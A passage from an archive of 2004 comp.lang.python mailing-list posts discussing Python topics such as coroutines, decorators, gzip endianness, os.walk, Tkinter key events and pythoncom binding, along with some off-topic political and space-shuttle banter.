choking (crashing) on that particular document, while OOo never gave me that kind of trouble. - Josef From me at privacy.net Fri Sep 24 02:01:13 2004 From: me at privacy.net (Richard Hanson) Date: Thu, 23 Sep 2004 23:01:13 -0700 Subject: [OT] "Pre-announcement" of Python-based "computing appliance" project. References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> <864d370904092305026f41795@mail.gmail.com> <mailman.3821.1095980182.5135.python-list@python.org> <itq6l0hehkhv8psdin3unri3aba268i63u@4ax.com> <ZsM4d.5518$Ec4.508@trndny04> Message-ID: <9ob7l05i403brs31eq9nlf03co76pbhli2@4ax.com> [Top-posting rearranged -- it helps me to follow the flow; I'm an old guy... :-) ] David Lees wrote: > Richard Hanson wrote: > > > (I've already thought of Doors... -- doors are more useful than > > windows, aren't they? ;-) ) > > You might want to skip doors. There is already an overly complex > requirements tool by that name: > http://www.telelogic.com/products/doorsers/doors/index.cfm Interesting. You're quite right, though; that's the opposite way I'm a'heading. "Simple is better than complex," and all. Although... uhh... I *was* typing with my tongue firmly planted in my cheek in my line you quoted, above. Perhaps the recent "naming threads" for another project should have alerted me to be more obvious that I was merely kidding about "Doors" -- sorry about that! (Why peer through murky Windows when you can walk through wide-open Doors?... ;-) ) [Nota bene: There's a "winky" after that last line, immediately above, too. :-) ] In any event, before this thread gets *too* out of hand with names, let me say explicitly that I'm concerned with getting the project going -- names can come later. Thanks very much, though! what-*have*-I-started'ly y'rs, Richard Hanson -- sick<PERI0D>old<P0INT>fart<PIE-DEC0-SYMB0L>newsguy<MARK>com From john.thingstad at chello.no Fri Sep 3 18:10:12 2004 From: john.thingstad at chello.no (John Thingstad) Date: Sat, 04 Sep 2004 00:10:12 +0200 Subject: Xah Lee's Unixism References: <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com> <P5GdnU8q-8Sw66rcRVn-qg@powergate.ca> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <ur7pks59p.fsf@mail.comcast.net> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <u8ybrrzqd.fsf@mail.comcast.net> <ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com> <uzn47qezk.fsf@mail.comcast.net> <rbnhj01438rv46f2op40gsdkcvfh7u6sgo@4ax.com> <uoeknqbo0.fsf@mail.comcast.net> Message-ID: <opsdrujag8pqzri1@mjolner.upc.no> On Fri, 03 Sep 2004 15:34:39 -0600, Anne & Lynn Wheeler <lynn at garlic.com> wrote: > Alan Balmer <albalmer at att.net> writes: >> I'm not a fan of Mr Hatch, but blaming him for the shuttle disaster(s) >> is somewhat over the top. Why not blame President Bush? That's the >> popular thing nowadays. > > i never made any referrence to people or personalities ... somebody > else did. > > i just repeated the claims after the disaster about majority of the > other launch things were single section and barged to the launch site > (as well as the alternative booster proposals). > > the issue of the gaskets is pretty well established as being required > for the sectional manufactoring ... predicated on the dimensional > restrictions on overland train transportation ... that was perceived > to have been a pretty unique ... when other major deliverables have > been built in single section and barged to launch site. > > from a purely fucntional standpoint to somebody's leap with regard to > personabilities ... is somebody else's doing. > > i would say that any argument about the personality issues > ... shouldn't creap into purely straight forward issue about whether > all manufactoring assemblies require sectioning because of > transportation restrictions. lots of assemblies are made in single > sections and barged to florida. > > i can see taking issue with somebody (else) over their possible > personality assertions ... but that shouldn't also result in comments > about whether sectioning is required for all possible modes of > transportation. > Norton Trikol alto buildt the Titan solid rocket booster along simular lines. I has a resonably good record. A extra gasket was added since it was supposed to be used for human flight. Fron a engeneering stanpoint I can't see how you are supposed to mold solid rocket fuel fot the booster in one piece. But then I am not a rocket scientist. Anyhow space flight is a riscy endevor. If it wasn't the booster then it would have been something else. One in every 50 or so launces will fail. Saying it was as good as murder is prepostrious. The peaple who launced knew the riscs. Sitting attom of 10000 liters of fuel undergoing a controlled explosion will probaly never be entirely safe. -- Using M2, Opera's revolutionary e-mail client: http://www.opera.com/m2/ From anthonybaxter at gmail.com Fri Sep 3 05:06:18 2004 From: anthonybaxter at gmail.com (Anthony Baxter) Date: Fri, 3 Sep 2004 19:06:18 +1000 Subject: Are decorators really that different from metaclasses... In-Reply-To: <loom.20040902T173546-648@post.gmane.org> References: <e69d3ed204082608183634bab@mail.gmail.com> <cglg26$ehg$3@sea.gmane.org> <e69d3ed2040827083448c31d45@mail.gmail.com> <mailman.2548.1093646396.5135.python-list@python.org> <cgosmb$ki0$0$216.39.172.122@theriver.com> <mailman.2562.1093697125.5135.python-list@python.org> <HBF.20040901iia9@bombur.uio.no> <ch5mkq$tb1$1@sea.gmane.org> <20040902024221.GA3626@unpythonic.net> <ch6umj$74i$1@sea.gmane.org> <20040902134641.GE24397@unpythonic.net> <loom.20040902T173546-648@post.gmane.org> Message-ID: <e69d3ed204090302065c15e0a1@mail.gmail.com> On Thu, 2 Sep 2004 15:48:19 +0000 (UTC), Steven Bethard <steven.bethard at gmail.com> wrote: > Not to defend Paul's proposal, which I, like many others on this list, still > find counterintuitive and a break with the current syntax/semantics of Python, > but I don't think it's fair to say that his proposal will change much > currently legal code. Grep the Python source for functions with __*__ local > variable assignments and tell me how many you find. I wasn't able to find > any, though perhaps my skills with grep are not up to par... For that matter, > grep any Python source for functions like this. I'd bet you find the same. My arguments against it were nothing to do with breaking existing code, but were to do with the half-baked nature of the proposal. It's fairly clear (to me) that it's really not been thought through - Jeff Epler's code samples showed some of the stupid results that this proposal would produce. I stand by my earlier comments that this is all just hand-waving and fluff. There's been little concrete effort by Paul to actually spell out his proposal. From fakeaddress at nowhere.org Fri Sep 17 04:04:25 2004 From: fakeaddress at nowhere.org (Bryan Olson) Date: Fri, 17 Sep 2004 08:04:25 GMT Subject: Microthreads without Stackless? In-Reply-To: <8cf9f521.0409162213.105d321e@posting.google.com> References: <mailman.3171.1094844869.5135.python-list@python.org> <18282ecb.0409120634.5ba044ee@posting.google.com> <Mtw1d.20732$kV6.18121@newssvr29.news.prodigy.com> <18282ecb.0409151755.47b691e2@posting.google.com> <Ms92d.16135$QJ3.8331@newssvr21.news.prodigy.com> <8cf9f521.0409162213.105d321e@posting.google.com> Message-ID: <dUw2d.22139$mo4.11260@newssvr29.news.prodigy.com> David Mertz, Ph.D. wrote: > It's too bad you didn't bother to READ my article at: > > http://gnosis.cx/publish/programming/charming_python_b5.html > > This is distinct from my other article that covers "weightless > threads", though there is some overlap in the concepts. I spent a couple hours going through the "weightless threads" paper, and looking up the background including that one. I had previously concluded that Python generators could not implement what I wanted from real co-routines, so I was interested in seeing if there was a reasonable implementation. > While you do need a scheduler to control the branching, once you have > this you get EXACTLY the same thing as coroutines in other languages. > Specifically, you can branch from any generator, into the body of > whatever other generator you wish. Great; I'd love to have the same thing as real co-routines. Here's the problem: I have a server that currently handles multiple clients using one thread per connection. When a client-handler needs to send or receive data, it simply reads or writes to a file-like thing. Now I want to handle twenty thousand clients, so I want to replace my threads with co-routines. With real co-routines, I can easily do that. I write an asynchronous I/O handler routine that can wait on many files at once, perhaps with os.select(). I over-ride the file read and write procedures to initiate the I/O, then yield. When I/O is ready on a file, the I/O handler can switch back to the client-handler. Importantly, I do *not* have to re-write all the functions in every call chain that leads to a read or write. I just need the I/O handler (which includes a kind of scheduler) at the top, and I over-ride my file I/O calls at the bottom. After reading your articles I am unable to see how generators, even with your scheduler, offer any such capability. -- --Bryan From tzot at sil-tec.gr Wed Sep 29 03:29:44 2004 From: tzot at sil-tec.gr (Christos TZOTZIOY Georgiou) Date: Wed, 29 Sep 2004 10:29:44 +0300 Subject: [OT] "Pre-announcement" of Python-based "computing appliance"project. References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com><89adnWTWC6JVscncRVn-uw@giganews.com><enp8l09sql1ikh98s530erp5b79hfpf14o@4ax.com><du7d60bbhah.fsf@amadeus.cc.tut.fi><10l90qcihqrjba1@corp.supernews.com> <du78yayby1a.fsf@mozart.cc.tut.fi> <cj4ul0$nt5$1@sea.gmane.org> <mailman.3916.1096160356.5135.python-list@python.org> <oh7cl05ph81r8vd4ih33laqibri95qn5p9@4ax.com> <mailman.3920.1096177284.5135.python-list@python.org> Message-ID: <v0pkl01gvtqo980tu3vj153d0s8iggmus1@4ax.com> On Sun, 26 Sep 2004 01:36:23 -0400, rumours say that Stephen Waterbury <golux at comcast.net> might have written: >>>and since >>>the observer/observable paradigm is fundamental to science, >> >> Are you sure about that? ;-) > >Well, at least until someone shows me how to do an experiment >without observing something. Pretend you're igniting a bomb fuse: start the experiment, duck, and run away :) -- TZOTZIOY, I speak England very best, "Tssss!" --Brad Pitt as Achilles in unprecedented Ancient Greek From clifford.wells at comcast.net Sun Sep 19 17:38:15 2004 From: clifford.wells at comcast.net (Cliff Wells) Date: Sun, 19 Sep 2004 14:38:15 -0700 Subject: Determining if a client PC has an Internet connection In-Reply-To: <cikrlm$qf$1@epityr.hut.fi> References: <mailman.3489.1095578305.5135.python-list@python.org> <cikrlm$qf$1@epityr.hut.fi> Message-ID: <1095629896.31957.325.camel@devilbox.devilnet.internal> On Sun, 2004-09-19 at 23:54 +0300, Tuure Laurinolli wrote: > Cliff Wells wrote: > > > I'm writing an application that needs to know if an Internet connection > > is available. Basically, I want to have something similar to what a lot > > of email clients have, where the app can work either in "online" or > > "offline" mode (it keeps a cache of downloaded info, so it can work > > without a connection if needed). > > I do not see why there would have to be specific online and offline > modes. They are annoying. Especially when they educatedly guess they are > not on the Internet and refuse to believe the user who says they are. It doesn't refuse. If you tell it that it's online it will faithfully try to download whether it thinks it is or not. You are making as many assumptions as you claim my software will ;) > > The basic problem is this: it downloads info (RSS feeds) from a variety > > of sources. Any one (or more) of these could conceivably fail to > > download, so simply waiting for a timeout isn't sufficient (not easy to > > differentiate between having a bad server and the client not having a > > connection). Further, if it waits (say 30s) for the timeout to occur, > > this is going to be a bit annoying to the user. > > So why not assume you are always connected to the Internet. Download > updated info into local cache whenever possible and always show local > cached information. Of course you could somehow indicate the age of the > cached information, so the user doesn't think that local cached > information is up-to-date when it actually isn't. Because it's a customer requirement. Besides, as I outlined in a separate post, there are actually a couple of good reasons for the app to know when it's offline: ''' More importantly, if the app is "online", timing out is returned as an error to the user, whereas in the "offline" state, as long as the data is cached, there is no error. Also, in the case of being offline and there is no data in the cache, the error message is to be different than if the app is online and the connection fails. ''' Regards, Cliff -- Cliff Wells <clifford.wells at comcast.net> From remy.blank_asps at pobox.com Fri Sep 24 10:11:03 2004 From: remy.blank_asps at pobox.com (Remy Blank) Date: Fri, 24 Sep 2004 16:11:03 +0200 Subject: unittest.py patch: add skipped test functionality In-Reply-To: <41542653.3060606@python.org> References: <cj0o6t$mn2$1@sea.gmane.org> <41542653.3060606@python.org> Message-ID: <cj19tn$8p9$1@sea.gmane.org> David Goodger wrote: > [Remy Blank] >>I would also like to know if this would be a candidate for inclusion >>into the unittest.py provided with Python. > > To have any chance of that, you should add your patch to the > SourceForge patch tracker for Python: Done. Thanks! -- Remy Remove underscore and suffix in reply address for a timely response. From steve at holdenweb.com Mon Sep 20 14:28:42 2004 From: steve at holdenweb.com (Steve Holden) Date: Mon, 20 Sep 2004 14:28:42 -0400 Subject: uncompressed size of .gz file In-Reply-To: <200409201436.24139.heikowu@ceosg.de> References: <000001c49ed3$35125b20$0a0c10ac@che2003> <mailman.3551.1095676652.5135.python-list@python.org> <BEz3d.27319$ni.10745@okepread01> <200409201436.24139.heikowu@ceosg.de> Message-ID: <414F215A.1060504@holdenweb.com> Heiko Wundram wrote: > Am Montag, 20. September 2004 13:58 schrieb Steve Holden: > >>As long as the format is documented itr doesn't really matter whether it >> stores the bytes big-endian, little-endian or alternating from the big >>and little ends. > > > I know that. But it's just a rule of thumb for me: take any format which tries > to be machine indepent, look at the byte-order: big-endian. For example: > JPEG, TIFF (which has a marker for little or big-endian, but you'll mostly > find big-endian TIFFs), network addresses, all binary RPC protocols I know > of, etc. > > It's not that I don't believe the effbot, but I just found it fishy to be > little-endian when the format is standardized as a HTTP transport encoding > (which is a network protocol)... > > Wait, I just reread the comment from the RFC... And this clearly states: > > "All multi-byte numbers in the format described here are stored with the > least-significant byte first (at the lower memory address)." > > least-significant byte first to me sounds like big-endian, doesn't it? And > thus should warrant a > qualifier, or not? Or am I plain wrong on this? > > Heiko. > > [Sorry about the delay, I'm forced to access the list rather than the newsgroup]. On of the laughable things about the names "big-" and "little-endian" is that unlike their originals (taken from "Gulliver's Travels", and used to describe which end of a boiled egg should be opened for eating) they don't actually specify what they mean. This underlines the essentially arbitrary nature of the choice. You might as well say "left-handed" or "right-handed"! regards Steve -- XXX Please note recent change of email address From mwilson at the-wire.com Wed Sep 1 11:35:08 2004 From: mwilson at the-wire.com (Mel Wilson) Date: Wed, 01 Sep 2004 11:35:08 -0400 Subject: initializing mutable class attributes References: <J4zYc.102357$UTP.98636@twister01.bloor.is.net.cable.rogers.com> <1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com> <eTHYc.205$yqJ1.68@news04.bloor.is.net.cable.rogers.com> <1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com> <8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com> Message-ID: <sweNBls/KXoF089yn@the-wire.com> In article <8JbZc.140699$UTP.23045 at twister01.bloor.is.net.cable.rogers.com>, "Dan Perl" <dperl at rogers.com> wrote: >When learning something, I need to understand the 'WHY' behind a design >decision like that, when clearly there are alternatives. I will not be >satisfied with an explanation of "that's the Python way and you just have to >learn it". The explanation of choosing "explicit" instead of "implicit" >makes sense and helps me in better understanding Python. I have to mention >though that I do not accept "explicit is better than implicit" as an >absolute truth. That's the "Zen" part. Cf. Neils Bohr's definition of a Great Truth: a Great Truth is a proposition whose opposite is also a Great Truth. > . [That's like when someone told me once with pride: "I >always design bottom-up."] :) A: I always design bottom-up. This is my latest application. B: What is it? A: I don't know. We know where we stood the ladder, but aside from "up", we can't say much about where it goes. > [ ... ] >You may see in another message I posted in this thread that I ended up >giving an answer to my own question (the 'WHY' question). Here is my reason >for that 'WHY'. Python does not have method overloading (and I am ok with >that, because it comes with the dynamic typing), so you cannot have a >default constructor and a non-default one at the same time. C++ and Java >have overloading and then can also mandate a default constructor for a >parent class, even if it's empty because you actually use only a non-default >constructor for that class. Python cannot request that you also implement a >default __init__ when you need a non-default one. There would be the >possibility of adding another special method, but there's already __init__ >and __new__, so that would be too confusing. I think the difference between: class B (A): def __init__ (self, ...) ... B related stuff A.__init__ (self, ...) class B (A): def __init__ (self, ...) A.__init__ (self, ...) ... B related stuff class B (A): def __init__ (self, ...) ... B related stuff A.__init__ (self, ...) ... more B related stuff shows that it's simplest just to code what you want done.. and that's without looking at multiple inheritance, or different argument lists between A's and B's __init__. Regards, Mel. From mwh at python.net Tue Sep 14 07:55:54 2004 From: mwh at python.net (Michael Hudson) Date: Tue, 14 Sep 2004 11:55:54 GMT Subject: Subclassing in C References: <I4057u.3Er@research.att.com> Message-ID: <m31xh59i9h.fsf@pc150.maths.bris.ac.uk> Iker Arizmendi <iker at research.att.com> writes: > Hello all, > > I've defined a class in a C extension module that is > (or rather, I would like to be) a subclass of another > class. I do this by simply setting the tp_base pointer > of my subclass's type object. However, this results > in a class that exposes the methods of the base class, > but ONLY those. The methods of my subclass are hidden. > I'd obviously like to have the methods of the base > class AND the new methods of the subclass available. Are you setting tp_getattro to PyObject_GenericGetAttr? (just a guess). Cheers, mwh -- <dash> it's like a bicycle <dash> but with internet -- from Twisted.Quotes From anthony at python.org Sun Sep 5 03:58:15 2004 From: anthony at python.org (Anthony Baxter) Date: Sun, 05 Sep 2004 17:58:15 +1000 Subject: UPDATE: New 2.4a3 Windows installer and random.py patch available Message-ID: <413AC717.5010707@python.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Due to a goof in the packaging scripts, the Windows installer that was released on Friday for 2.4a3 broke file associations for .py files. There's a fixed installer (python-2.4a3.2.msi) available from the Python 2.4 web page. There's also a patch for the breakage for random.py on systems that don't have support for the new os.urandom() call. This is also available from the Python 2.4 web page. ~ http://www.python.org/2.4/ We apologise to those affected by these bugs, and I'd like to thank the folks who downloaded the release and let us know about the problems so promptly. Anthony Baxter anthony at python.org Python Release Manager (on behalf of the entire python-dev team) -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.6 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFBOscVDt3F8mpFyBYRAk2xAJ9KcxQf5JOTmD6dpOiBShe/8jnWSwCgnL/S hN44eBC0mqygEhltFK2W9Ig= =W445 -----END PGP SIGNATURE----- From bm at acm.org Sun Sep 12 10:21:55 2004 From: bm at acm.org (Bulent Murtezaoglu) Date: Sun, 12 Sep 2004 17:21:55 +0300 Subject: Xah Lee's Unixism References: <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <opsd2vlvy7pqzri1@mjolner.upc.no> <1549.748T655T9283520@kltpzyxm.invalid> <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com> <4141c830$0$65574$a1866201@newsreader.visi.com> <41444b6a$0$6932$61fed72c@news.rcn.com> Message-ID: <87zn3v7ekc.fsf@p4.internal> >>>>> "jmf" == jmfbahciv <jmfbahciv at aol.com> writes: jmf> Grant Edwards <grante at visi.com> wrote: >> ... Bush thinks he's entitled >> to declare anybody and everybody an "enemy combatant" and lock >> them up in secret forever. jmf> Would rather he do like Italy? They are letting them go. jmf> Then these released people go blow up something else. [...] Why are those the only two choices? Do you think people turn into bomb-wielding terrorists by feat of mere suspicion? I don't think the US abuses the 'enemy combatant' device as much as we fear, yet. But if the people in the US are convinced that the choice is between getting blown up and secret detentions w/o judicial oversight then it will get far worse than we fear. I am beginning to think the US gov't and populace alike might be believing the "they hate us for our freedoms" line and trying to get rid of the said freedoms in the hope that it will appease the terrorists. Look, what is to prevent your government from putting cuffs on me and shipping me off to a dungeon the next time I am in the US because of the sentence above? Would I see a judge? Lawyer? Would anybody even know? Are you guys truly scared enough to sanction this kind of behaviour from your gov't? cheers, BM From nick at craig-wood.com Tue Sep 21 05:30:01 2004 From: nick at craig-wood.com (Nick Craig-Wood) Date: 21 Sep 2004 09:30:01 GMT Subject: Python for Perl programmers? References: <c1e48b51.0409201820.217e1dd@posting.google.com> Message-ID: <slrnckvr5e.jj8.nick@irishsea.home.craig-wood.com> Markus Dehmann <markus.cl at gmx.de> wrote: > I am using perl for everything, even bigger programs, with objects, > uh, modules and stuff. I know pretty much every trick in perl and have > a lot of experience. > > But I'd like to try a cleaner language, where you don't have to type > so much crap to create a class etc. So, I wanna give python a try. I've recently made that journey myself! For that reason and the horrible experience of trying to maintain 25,000 lines of perl code. > Is there a tutorial that takes all the standard perl things and then > explains how to do them in python? That would be perfect. Open a file, > take all the words, put them in a hash, I recently had a revelation to do with Perl hashes. Whenever I would have written a hash in Perl, I now create a class in Python. The class can then have documentation and methods. This is a major difference for me betwen the two languages - its just so easy to create a class in Python that whenever you are thinking of a data structure you create a class (rather than a hash) and then immediately you get a place to put functions which operate on that data etc. I always found OO in Perl so clunky that I hardly ever bothered with it, except if I was making a module. Python really encourages me to do OO, and all my python programs are modules anyway. (I need that encouragement to use OO since I'm of an age that my first computer language was BASIC and my second assembler ;-) > do something with them, print the result in a formatted way, write > it to a new file etc. Create a class that downloads newsgroups, > etc. Things like that. > > I don't need long explanations, but just the perl code and the > corresponding python code. Maybe that even helps seeing: ah, python is > much cleaner, or shorter, or whatever. I've found that Python without all those { } @ % $ _ to be quite a bit cleaner looking than Perl, especially for math heavy code. The indentation thing really works. Docstrings are great. And the standard library is very good and very comprehensive - you don't need to download some module from CPAN of dubious quality - its all in the standard library, properly documented etc. Downsides of Python? __init__ __this__ __that__ __etc__ - I found that a real turnoff initially! Regexpes a little more clunky. Same functionality though. No command line shortcuts -l -p -i etc. (Not a bad thing probably!). Things which trip my up regularly? I still forget to put () on method calls which take no parameters. Luckily pychecker catches this! > I mean, if I want to learn French and I already know a lot about > languages, it's probably good not to learn all the grammar, but just > to take an English book and the French translation, and learn from it. > I want to do the same to learn python. "Programming Python" by Mark Lutz I found to be helpful as it has lots of examples. "Python Essential Reference" by David Beazley was useful for its Python quickstart and library reference. Write a python program is my advice though! -- Nick Craig-Wood <nick at craig-wood.com> -- http://www.craig-wood.com/nick From elainejackson7355 at home.com Mon Sep 13 00:32:43 2004 From: elainejackson7355 at home.com (Elaine Jackson) Date: Mon, 13 Sep 2004 04:32:43 GMT Subject: 'telegraphy' as a means of data entry References: <QOK0d.394968$gE.276141@pd7tw3no><8YGdnbbBS6xILt7cRVn-iA@powergate.ca><llT0d.382584$M95.334812@pd7tw1no><S-ydnXbZkPyO0NncRVn-jg@powergate.ca> <mailman.3203.1094997692.5135.python-list@python.org> Message-ID: <Lp91d.406455$gE.129433@pd7tw3no> This is exactly what I was looking for. Thanks very much for the assist. "Fredrik Lundh" <fredrik at pythonware.com> wrote in message news:mailman.3203.1094997692.5135.python-list at python.org... | Peter Hansen wrote: | | > > | > I need to record the respective times of the events in a sequence of | > > | > presses/releases of a particular key on the computer keyboard. | | > And Tkinter could certainly do it to, but I don't do Tkinter. :) | | in Tkinter, you'll find the event time (in milliseconds) in the time | attribute of the event descriptor: | | from Tkinter import * | | frame = Frame(width=100, height=100) | frame.pack() | frame.focus() | | def handler(event): | print event.time / 1000.0 | | frame.bind("<Key>", handler) | | mainloop() | | the above only tracks key presses; if you need to track releases | as well, add an extra binding for KeyRelease. | | also note that unlike Peter's example, the time attribute contains | the time when the event was generated, not when it reached your | program. | | </F> | | | From peter at engcorp.com Tue Sep 7 00:07:59 2004 From: peter at engcorp.com (Peter Hansen) Date: Tue, 07 Sep 2004 00:07:59 -0400 Subject: How to actually write a program? In-Reply-To: <m2u0ua24m5.fsf@unique.fully.qualified.domain.name.yeah.right> References: <mailman.2853.1094247955.5135.python-list@python.org> <41398a3c$0$255$edfadb0f@dread12.news.tele.dk> <KaKdnbMRX_iUdqHcRVn-vw@powergate.ca> <m2u0ua24m5.fsf@unique.fully.qualified.domain.name.yeah.right> Message-ID: <CfCdnXVVl5w5rqDcRVn-hg@powergate.ca> Dan Sommers wrote: > Also as a new programmer, the OP is as unlikely to know how to write a > test, nor how to write a test that fails, nor how to write the code that > causes the test to pass. Which is why he was directed to useful links about what TDD means and how to do it, rather than being told merely to "write a test". At least, that's the holistic result of the various responses, as I see it. The Dive In To Python chapter on unit testing, for example, would tell him all he needs to know to get started doing TDD (as I recall, from the last time I read it... I assume it hasn't changed much). > How can he write a test, when he doesn't know how to start to write a > program? The key is "how to start", not "how to write". Go back to the OP's words: "What I really want to know is, if you are going to actually write a program or a project of some sort, how do you actually start." > TDD assumes that programmers can write programs. TDD gives people a way of writing programs. Writing programs makes them programmers. ;-) -Peter From FBatista at uniFON.com.ar Thu Sep 30 09:11:19 2004 From: FBatista at uniFON.com.ar (Batista, Facundo) Date: Thu, 30 Sep 2004 10:11:19 -0300 Subject: List comprehensions performance Message-ID: <A128D751272CD411BC9200508BC2194D053C7A13@escpl.tcp.com.ar> [aleaxit at yahoo.com] #- More generally, _who cares_ about this kind of speedups?! Premature #- optimization is the root of all evil in programming. Make #- your programs #- clear, simple, readable -- that's ALWAYS important! So is #- using general #- algorithms and data structures with good O() characteristics if the #- input size is liable to grow a lot. But squeezing out 10% #- or 20% here #- or there is going to matter in a TINY minority of cases. #- Don't distort #- your coding for such purposes! "It is easier to optimize correct code than to correct optimized code." --Bill Harlan (from Aahz signature) . Facundo -------------- next part -------------- An HTML attachment was scrubbed... URL: <http://mail.python.org/pipermail/python-list/attachments/20040930/832744c6/attachment.html> From elbertlev at hotmail.com Wed Sep 29 15:38:40 2004 From: elbertlev at hotmail.com (Elbert Lev) Date: 29 Sep 2004 12:38:40 -0700 Subject: how to get files in a directory References: <mailman.4078.1096469771.5135.python-list@python.org> Message-ID: <9418be08.0409291138.1cfba1a@posting.google.com> Anand K Rayudu <ary at esi-group.com> wrote in message news:<mailman.4078.1096469771.5135.python-list at python.org>... > Hi all, > > I am trying to find a way to get the files recursively in a given > directory, > > The following code is failing, can some one please suggest what could be > problem here > > > from os import walk,join > > for root,dir,files in os.walk("E:\myDir1\MyDir2"): > for i in dir: > for j in files: > fille = root+i+j > print file > > Surprisingly if i give os.walk("E:\myDir1") the above code works, but > not if i have 2 levels of directories. > > Thanks & Best Regards, > Anand All is wrong! 0. Wrong import 1. not "E:\myDir1\MyDir2", but "E:\\myDir1\\MyDir2" 2. dir and files are in the SAME directory. In other words if the structure is: myDir1 MyDir2 somefile.py the first itteration will give an EMPTY dir= [] and files = ['somefile.py'] Here is an example from the manual: This example displays the number of bytes taken by non-directory files in each directory under the starting directory, except that it doesn't look under any CVS subdirectory import os from os.path import join, getsize for root, dirs, files in os.walk('python/Lib/email'): print root, "consumes", print sum([getsize(join(root, name)) for name in files]), print "bytes in", len(files), "non-directory files" if 'CVS' in dirs: dirs.remove('CVS') # don't visit CVS directories so if you want just print full path of the files in E:\myDir1\MyDir2 for root,dir,files in os.walk("E:\myDir1\MyDir2"): for j in files: fille = os.path.join(root,j) print fille Do not touch dir. It is supposed to be used to restrict the search. If you do not modify dir it walk will progress into root's subdirectories. From jepler at unpythonic.net Thu Sep 9 09:46:06 2004 From: jepler at unpythonic.net (Jeff Epler) Date: Thu, 9 Sep 2004 08:46:06 -0500 Subject: container-indepentent iteration code ? In-Reply-To: <10jv5ad1sjgep4d@corp.supernews.com> References: <10jv5ad1sjgep4d@corp.supernews.com> Message-ID: <20040909134604.GF19306@unpythonic.net> def viter(container): """Iterate over values of a container""" if hasattr(container, "itervalues"): return container.itervalues() return iter(container) Jeff -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 196 bytes Desc: not available URL: <http://mail.python.org/pipermail/python-list/attachments/20040909/1a1d4a81/attachment.sig> From davebrok at soda.csua.berkeley.edu Sun Sep 12 13:33:48 2004 From: davebrok at soda.csua.berkeley.edu (David Pokorny) Date: Sun, 12 Sep 2004 10:33:48 -0700 Subject: Greenlets: where are they now??? Message-ID: <foadnUs_VtNpFdncRVn-jQ@lmi.net> Hi, A few weeks ago, I discovered Armin Rigo's greenlets and thought they were brilliant. I'm seriously thinking about using them, and at least someone else is http://www.eby-sarna.com/pipermail/peak/2004-August/001720.html Currently, I understand that Greenlets are more-or-less hidden from the public eye in the Stackless CVS, even though they compile and work like a charm with regular CPython. Given all the desire for full coroutines that I hear on Python-dev, greenlets strike me as genuine "hidden treasure." Here is my point: A) Why aren't greenlets being considered as a solution to coroutines? (Do people feel that "hacking the C stack is bad" is a compelling argument? It strikes me that any coroutine implementation in CPython will have to do this.) B) Will a later version of CPython support greenlets natively? (in particular by adding the appropriate entries to PyThreadState) C) Will greenlets ever be released? Is there a ToDo list that prevents their release? D) How did he come up with a cool name like "Greenlet"? Cheers, David From martin at v.loewis.de Mon Sep 6 01:44:18 2004 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Mon, 06 Sep 2004 07:44:18 +0200 Subject: Python23 and XRC support In-Reply-To: <1rtn1w1rd8jfe.dlg@news.individual.net> References: <1rtn1w1rd8jfe.dlg@news.individual.net> Message-ID: <413bf929$0$13033$9b622d9e@news.freenet.de> Active8 wrote: > Is the windows binary for Python 2.3.4 compiled with XRC support? Can you please explain what XRC is? Thanks, Martin From duncan.booth at invalid.invalid Wed Sep 15 08:36:31 2004 From: duncan.booth at invalid.invalid (Duncan Booth) Date: 15 Sep 2004 12:36:31 GMT Subject: Python Oddity - print a reserved name References: <6f402501.0409150404.75292b5a@posting.google.com> Message-ID: <Xns95658A6A9564Eduncanrcpcouk@127.0.0.1> Michael Foord wrote: > >>> something.__dict__['print'] = 3 Or, slightly prettier, use: setattr(something, 'print', 3) > See that I can't set the something.print attribute directly, but can > set it indirectly. Is this behaviour 'necessary' or just an anomaly of > the way IDLE detects Syntax Errors ? > No, that is simply how Python works. You can only use the direct syntax to set attributes whose names are valid Python identifiers, but indirectly you can use any string at all as the attribute name. It doesn't do any harm and sometimes it can be extremely useful. You can do this pretty much anywhere that Pythonn uses a dict internally. For example you can call functions with arbitrary keyword arguments provided you use the ** syntax. From google at prodigycomputing.com Mon Sep 20 08:40:21 2004 From: google at prodigycomputing.com (Paul Keating) Date: 20 Sep 2004 05:40:21 -0700 Subject: Pythoncom early binding puzzle Message-ID: <51f8958a.0409200440.266bc139@posting.google.com> I want my Python COM object to do early binding. I have this working for methods that return floats and dates and variants, but not for methods that return COM objects. They are returning IDispatch objects and not the specific COM objects that the client code is expecting. I've got to the point that makepy reads my type library and generates this class: class IArena_MarketDataServer_CurrenciesData(DispatchBaseClass): #This class is creatable by the name 'Arena_MarketDataServer_CurrenciesData.189' CLSID = IID('{E15E5C42-1B3F-4815-B434-FA9BBAB5B62E}') coclass_clsid = IID('{FD32DD22-3A89-430E-8FB9-EDC35852721A}') ... (method definition here) ... _prop_map_get_ = {} _prop_map_put_ = {} But I still seem to get an IDispatch object, whether I do late binding: >>> currenciesData = win32com.client.Dispatch('Arena_MarketDataServer_CurrenciesData') >>> currenciesData <COMObject Arena_MarketDataServer_CurrenciesData> or try to force early binding: >>> gencache.EnsureModule('{2A4EEEBF-907A-4038-A7DA-FE299AB491B1}', 0, 1, 8) <module 'win32com.gen_py.2A4EEEBF (etc)' from '(path)\2A4EEEBF...x0x1x8.py'> >>> currenciesData = 